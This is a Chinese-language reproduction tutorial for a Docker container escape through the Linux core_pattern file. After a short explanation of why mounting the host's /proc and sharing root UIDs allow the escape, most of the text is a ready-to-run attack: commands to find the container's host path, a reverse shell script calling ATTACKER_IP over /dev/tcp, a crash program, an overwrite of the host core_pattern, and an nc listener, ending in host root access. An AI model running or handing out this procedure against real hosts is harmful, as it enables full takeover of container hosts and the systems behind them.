一、原理剖析
(一)核心依赖:core_pattern
机制
Linux 内核借助 /proc/sys/kernel/core_pattern
文件,定义程序崩溃(core dump)时的行为规则。当该文件内容以 |
起始,剩余部分会被当作用户空间的程序或脚本执行,且执行时继承内核级权限,通常可获取宿主机 root
权限 。
(二)容器逃逸条件
-
特权环境:容器以
root
权限运行,且未启用 User Namespace,使得容器内root
与宿主机root
的 UID 均为0
,权限未有效隔离 。 -
路径挂载:宿主机
/proc
目录被挂载到容器内(如/host/proc
路径 ),让容器有机会修改宿主机的core_pattern
文件 。 -
触发机制:通过人为制造程序崩溃(core dump),触发
core_pattern
中定义的恶意命令,进而实现逃逸 。
二、复现步骤
(一)环境准备
-
拉取镜像(在宿主机终端执行 ): 执行
docker pull ubuntu:18.04
命令,从 Docker 镜像仓库拉取 Ubuntu 18.04 镜像,为后续创建容器做准备 。 -
启动特权容器(在宿主机终端执行 ): 运行
docker run -it --rm -v /proc:/host/proc ubuntu:18.04 /bin/bash
命令 。-
--rm
:容器退出后自动清理相关资源,避免残留影响系统 。 -
-v /proc:/host/proc
:关键挂载操作,将宿主机的/proc
目录映射到容器内的/host/proc
路径,这是后续利用core_pattern
实现逃逸的基础条件 。
-
(二)容器内操作:信息收集与准备
-
确认
core_pattern
路径: 在容器内执行find / -name core_pattern 2>/dev/null
命令,查找core_pattern
文件位置 。 正常输出会包含:-
/proc/sys/kernel/core_pattern
:容器内默认的core_pattern
路径 。 -
/host/proc/sys/kernel/core_pattern
:宿主机挂载到容器内的core_pattern
路径,后续需对其进行篡改操作 。
-
-
获取容器在宿主机的路径: 执行
cat /proc/self/mountinfo | grep -i "overlay" | grep -oP '(?<=upperdir=).*?(?=,workdir=)' | sed 's/upper/merged/'
命令,解析mountinfo
文件,获取容器文件系统在宿主机的实际存储位置 。 输出示例(需记录实际路径 ):
(三)植入恶意脚本与崩溃程序
-
编写反向 Shell 脚本(在容器内执行 ): 依次执行以下命令:
echo '#!/bin/bash' > /tmp/rev.sh echo 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1' >> /tmp/rev.sh chmod +x /tmp/rev.sh
其中,需将
ATTACKER_IP
和ATTACKER_PORT
替换为攻击机实际的监听地址和端口,该脚本作用是尝试与攻击机建立反向 Shell 连接,让攻击者获取容器及后续宿主机的操作权限 。 -
编写崩溃程序(触发 core dump)(在容器内执行 ): 执行一系列命令来创建、编写和编译 C 语言程序:
echo '#include <stdio.h>' > crash.c echo 'int main() { int *p = NULL; *p = 1; return 0; }' >> crash.c gcc crash.c -o crash
此 C 程序通过空指针解引用操作,人为制造段错误(Segmentation fault),触发 core dump ,为执行
core_pattern
中恶意命令创造条件 。
(四)篡改 core_pattern
并触发逃逸
-
修改宿主机
core_pattern
(在容器内执行 ): 将宿主机的core_pattern
配置指向容器内的恶意脚本,执行命令(需替换实际的容器在宿主机路径 ):echo "|$(容器在宿主机的路径)/tmp/rev.sh" > /host/proc/sys/kernel/core_pattern
-
攻击机启动监听(在攻击机终端执行 ): 运行
nc -lvvp ATTACKER_PORT
命令,让攻击机在指定端口(需与反向 Shell 脚本中设置的端口一致 )监听,等待容器触发恶意脚本后建立连接 。 -
触发 core dump(在容器内执行 ): 执行
./crash
命令,运行编译好的崩溃程序,程序执行会触发段错误(Segmentation fault),进而产生 core dump ,触发core_pattern
中定义的恶意脚本执行 。
(五)验证逃逸结果
当攻击机监听端收到反向 Shell 连接后,在攻击机终端执行 id
命令验证权限 。 若输出 uid=0(root) gid=0(root) groups=0(root)
,则表明成功从容器逃逸到宿主机,并获取了宿主机的 root
权限 。